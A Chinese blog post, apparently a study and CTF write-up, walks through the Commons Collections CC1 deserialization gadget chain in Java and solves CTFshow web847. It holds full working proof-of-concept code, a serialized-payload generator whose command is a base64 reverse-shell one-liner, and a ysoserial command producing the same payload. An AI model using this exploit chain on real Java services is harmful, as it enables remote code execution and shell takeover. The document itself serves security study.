CC1链的分析(TransformedMap版)

由 Zacarx 发布

前言

两个月前就学了CC链子,当时虽然看懂了大概是个什么流程,但感有些囫囵吞枣,算不上真正学会,也没有记录学习,因此我觉得还是很有必要再学习,温习的。如果你也是想复习一番,可以看看,当然如果你想从环境搭建开始学,那我推荐看看白日梦组长的哔站视频

CC是说Commons Collections,是一个扩展了Java标准库里的Collection结构的第三方基础库,其虽然为开发人员带来了方便,但也为开发人员的杰作带来隐患

条件允许还是希望大家上手看看,感觉和光看着csdn文章或者视频完全不一样,主要还是提升代码水平

今天看下CC1的TransformedMap版本,适用于8u71以下的java版本,主要还是学习思路

入手点

当然是poc,这是P牛写的,我们主要是围绕TransformedMap,ConstantTransformer,InvokerTransformer,ChainedTransformer展开学习慢慢靠近

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"calc.exe"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

先看Transformer接口

很好理解,就一句话,下面是它的实现方法

ConstantTransformer

这个比较简单,我们跳转过去可以发现其实现函数和类

当我们创建A实例,传入一个B对象,构造器就会赋值,当调用A的transformer的时候就回返回B对象,如图:

无论给transformer如何赋值传出的都是aaaaa

InvokerTransformer

构造器:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

方法:

public Object transform(Object input) {
if (input == null) {
    return null;
}
try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

见名知义,invoketransformer使用了反射的方法调用传入类的方法
从构造器可以看出有三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。

InvokerTransformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"code"});
transformer.transform(Runtime.getRuntime());

然后成功弹出vscode

ChainedTransformer

构造器和实现接口方法如下:

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param transformers  the transformers to chain, not copied, no nulls
     */
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

看着很简单,ChainedTransformer能够将多个 Transformer 实例链接起来,然后按照顺序依次执行。这种模式也被称为责任链模式
将输入对象传递给每一个 Transformer 进行转换,并将转换后的结果作为下一个 Transformer 的输入。最后返回最后一个 Transformer 转换后的结果,有一些像递归,难道又是一起递归引发的血案?
我们尝试用用

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {constantTransformer,invokerTransformer});
chainedTransformer.transform("zacarx");

很轻松就成功命令执行了
当然我们也可以扎一堆写成P牛那样,理解起来都一样

TransformedMap

TransformedMap有一个装饰方法

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

作用就是包装,为什么要包装呢?方便触发?后面会有答案,不过现在,我们已经掌握了如何利用CC1了

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {constantTransformer,invokerTransformer});
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("1","2");

虽然我们了解了CC1利用逻辑,但是有一个很重要的问题那就是怎么触发它
要知道,没有程序员会无缘无故的在系统写这么几行代码,所以我们需要找一个类触发,不然怎么算是完整的CC1呢
因此我们的路还有一段要走

AnnotationInvocationHandler

先上结果,sun.reflect.annotation.AnnotationInvocationHandler readObject⽅法就是触发CC1的神器
看看代码

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
            //通过反射机制来获取注解类型的元数据信息的。
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

简单研究了下代码,输入流也就是输入的对象s,然后输入被defaultReadObject恢复对象的状态,因此AnnotationType.getInstance(type) 获取对象s注解类型的元数据信息,接下来,遍历s的元数据信息并依次设置值,随后触发我们编写的代码

Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

通过反射获取的构造函数,创建一个新的 AnnotationInvocationHandler 对象实例。
我们事实序列化反序列化触发

提示Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime
Runtime类是没有实现 java.io.Serializable 接⼝的,所以不允许被序列化
因此,我们需要通过反射的方法解决问题

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//        outerMap.put("2","1");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object instance = construct.newInstance(Retention.class, outerMap);

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);

        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
    }
}

当然现在距离运行还差一步,p牛如是言

所以我们需要满足这个奇怪的条件,放入

innerMap.put("value", "xxxx");

最终POC

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"})
        };
        ChainedTransformer transformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<Object, Object>();
        map.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);

        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, transformedMap);
        UnSerializ(Serializ(o));

    }

    // 序列化
    public static ByteArrayOutputStream Serializ(Object o) throws Exception {
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(barr);
        outputStream.writeObject(o);
        return barr;
    }

    // 反序列化
    public static void UnSerializ(ByteArrayOutputStream baos) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}·

·

利用一下

CTFSHOW_web847

提交ctfshow参数进行base64解码
然后进行反序列化
我是java7,使用了commons-collections 3.1的库
为了保证业务安全,我删除了nc和curl命令
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"))

脚本:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Encoder;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,{反弹shell的base64编码}}|{base64,-d}|{bash,-i}"})
        };
        ChainedTransformer transformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<Object, Object>();
        map.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);

        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, transformedMap);
        ByteArrayOutputStream a = Serializ(o);
        String data = new BASE64Encoder().encodeBuffer(a.toByteArray());
        System.out.println(data);
    }

    // 序列化
    public static ByteArrayOutputStream Serializ(Object o) throws Exception {
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(barr);
        outputStream.writeObject(o);
        return barr;
    }
}

IDEA给出的payload有空格,可以去下面网站去除
https://www.bejson.com/text/text_delete_enter/


最后拿到shell

当然我们还可以在github找一下ysoserial,输入以下命令就能拿到payload了

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

扫描二维码,在手机上阅读

0条评论

发表评论